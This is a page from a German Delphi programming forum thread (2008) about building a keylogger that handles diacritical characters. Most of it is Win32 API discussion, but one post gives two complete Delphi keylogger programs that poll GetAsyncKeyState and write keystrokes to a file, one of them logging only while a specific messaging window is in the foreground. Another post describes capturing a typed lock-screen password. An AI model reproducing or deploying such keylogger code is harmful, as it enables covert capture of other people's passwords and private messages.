AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Zurück Delphi-PRAXiS Programmierung allgemein Win32/Win64 API (native code) Delphi Keylogger und diakritische Zeichen
Thema durchsuchen
Ansicht
Themen-Optionen

Keylogger und diakritische Zeichen

Ein Thema von Shaman · begonnen am 4. Jul 2006 · letzter Beitrag vom 1. Mai 2008
Antwort Antwort
Seite 4 von 4   « Erste     234   
Benutzerbild von mleyen
mleyen

Registriert seit: 10. Aug 2007
609 Beiträge
 
FreePascal / Lazarus
 
#31

Re: Keylogger und diakritische Zeichen

  Alt 30. Apr 2008, 18:28
jap, aber wenn du alles willst, mach´s einfachheitshalber so:

Delphi-Quellcode:
for i := 0 to 255 do
  GetAsyncKeyState(i) //Was auch immer da passieren soll
evtl speicherst du auch alle keystates, damit du gezielt abfragen kannst welche taste gedrückt gehalten wird und so nicht unnötige anschläge zählst, bzw. nur in einer bestimmten dauer erkannt werden.
  Mit Zitat antworten Zitat
xy124

Registriert seit: 3. Dez 2007
146 Beiträge
 
Delphi 7 Personal
 
#32

Re: Keylogger und diakritische Zeichen

  Alt 30. Apr 2008, 18:32
gute idee code ich mal eben nach dem abendbrott
o o
LJ
TTT
  Mit Zitat antworten Zitat
Dezipaitor

Registriert seit: 14. Apr 2003
Ort: Stuttgart
1.701 Beiträge
 
Delphi 7 Professional
 
#33

Re: Keylogger und diakritische Zeichen

  Alt 30. Apr 2008, 19:52
Zitat von Win32.API:
Was haelst du vom testen?

Edit: Damit der Post nicht ganz umsonst war:
[WindowsTaste] + L
Passwort eingegeben
[Enter]

=

[+LWin]l[-Return]
Ein Ja oder ein Nein, wäre viel weniger Aufwendig gewesen. Zudem hätte es mir erspart einen Keylogger installieren zu müssen.
Christian
Windows, Tokens, Access Control List, Dateisicherheit, Desktop, Vista Elevation?
Goto: JEDI API LIB & Windows Security Code Library (JWSCL)
  Mit Zitat antworten Zitat
Benutzerbild von Mackhack
Mackhack

Registriert seit: 29. Nov 2003
Ort: San Diego, CA/USA
1.446 Beiträge
 
Delphi 2006 Architect
 
#34

Re: Keylogger und diakritische Zeichen

  Alt 30. Apr 2008, 20:11
Das war das Programm von dem ich redete...

Delphi-Quellcode:
Program Project1;

Uses
  SysUtils, WINPROCS, Forms;

{$R *.RES}

{Procedure XXX;
Var
  I, X : Integer;
  F : TextFile;
Begin
  AssignFile(F, 'Key.txt');
  If Not FileExists('Key.txt') Then
  Begin
    ReWrite(F);
    Close(F);
  End;
  Repeat
    For I := 1 To 255 Do
    Begin
      X := GetAsyncKeyState(I);
        If X <> 0 Then
        Begin
          If (I In [Ord('A')..Ord('Z')]) Or (I In [32, 46, 49..58]) Then
            If Lo(X) <> 0 Then
              Begin
                Append(F);
                Write(F, Chr(I));
                CloseFile(F);
              End;
              If (Lo(X) <> 0) And (I = 13) Then
              Begin
                Append(F);
                WriteLn(F);
                CloseFile(F);
              End;
            End;
        End;
  Until False;
End;}


Procedure XXX;
Var
  I : Byte;
  X : SmallInt;
  Datei : TextFile;
Begin
  AssignFile(Datei, 'Key.txt');
  If (Not FileExists('Key.txt')) Then
    ReWrite(Datei)
  Else
    Append(Datei);

  For I := 1 To 255 Do
  Begin
    X := GetAsyncKeyState(I);
    If (X AND $8000 <> 0) Then
      Write(Datei, Char(I));
  End;
  CloseFile(Datei);
End;

Begin
  XXX;
End.
oder so...

Delphi-Quellcode:
program Project3;

uses
  SysUtils, Windows, Messages;

{$R *.RES}

procedure TimerCallBack;
var
  Wnd: HWnd;
  PC: array[0..255] of Char;
  I: Integer;
  F: TextFile;
  X: Integer;
begin
  Wnd := GetForegroundWindow;
  GetWindowText(Wnd, PC, 255);
  if ( PC = 'reborn8 - Message' ) then
  begin
    AssignFile(F, 'Key.txt');
    if ( not FileExists('Key.txt') ) then
    begin
      ReWrite(F);
      Close(F);
    end;
    repeat
      for I := 1 to 255 do
      begin
        X := GetAsyncKeyState(I);
        if ( X <> 0 ) then
        begin
          if ((I >= Ord('A')) and (I <= Ord('Z'))) or (I = 32) then
          begin
            if ( Lo(X) <> 0 ) then
            begin
              Append(F);
              Write(F,Chr(I));
              CloseFile(F);
            end;
            if (Lo(X) <> 0) and (I = 13) then
            begin
              Append(F);
              WriteLn(F);
              CloseFile(F);
            end;
          end;
        end;
      end;
    until False;
  end;
end;

var
  Msg: TMsg;
begin
  SetTimer(0, 0, 100, @TimerCallBack);
  while GetMessage(Msg, 0, 0, 0) do
  begin
    case Msg.Message of
      WM_CLOSE,
      WM_DESTROY: Break;
      WM_SYSCOMMAND: if ( Msg.wParam = SC_Close ) then
      begin
        Break;
      end;
    end;
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
  ExitCode := Msg.wParam;
end.
Um etwas Neues zu schaffen muss man seine Ohren vor den Nein-sagern verschliessen um seinen Geist öffnen zu können.
(George Lukas)
  Mit Zitat antworten Zitat
Benutzerbild von toms
toms
(CodeLib-Manager)

Registriert seit: 10. Jun 2002
4.648 Beiträge
 
Delphi XE Professional
 
#35

Re: Keylogger und diakritische Zeichen

  Alt 1. Mai 2008, 06:38
Zitat von smallsmoker:
@tom: bei mir nicht ...
Ich bin doch etwas erstaunt, dass der Fehler bei Euch nicht auftritt.

Denn GetKeyState() kann doch auch negative Wert liefern und das TKeyboardState Array nur Werte > 0 hat, muss es doch zu einem RangeError kommen.

TKeyboardState = array[0..255] of Byte;
Mache nun mal vorläufig die Werte mit ABS() positiv.
Vielleicht hat ja jemand eine bessere Lösung.

Delphi-Quellcode:
function GetKeyboardState: TKeyboardState;
// Ersetzt Windows.GetKeyboardState, da diese ausserhalb der eigenen Anwendung
// scheinbar nicht die korrekten Modifiers liefert
var
  I: Integer;
begin
  for I:= Low(Result) to High(Result) do
  begin
    Result[I]`:= Abs(GetKeyState(i));
  end;
end;
Thomas
  Mit Zitat antworten Zitat
Antwort Antwort
Seite 4 von 4   « Erste     234   


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 20:14 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz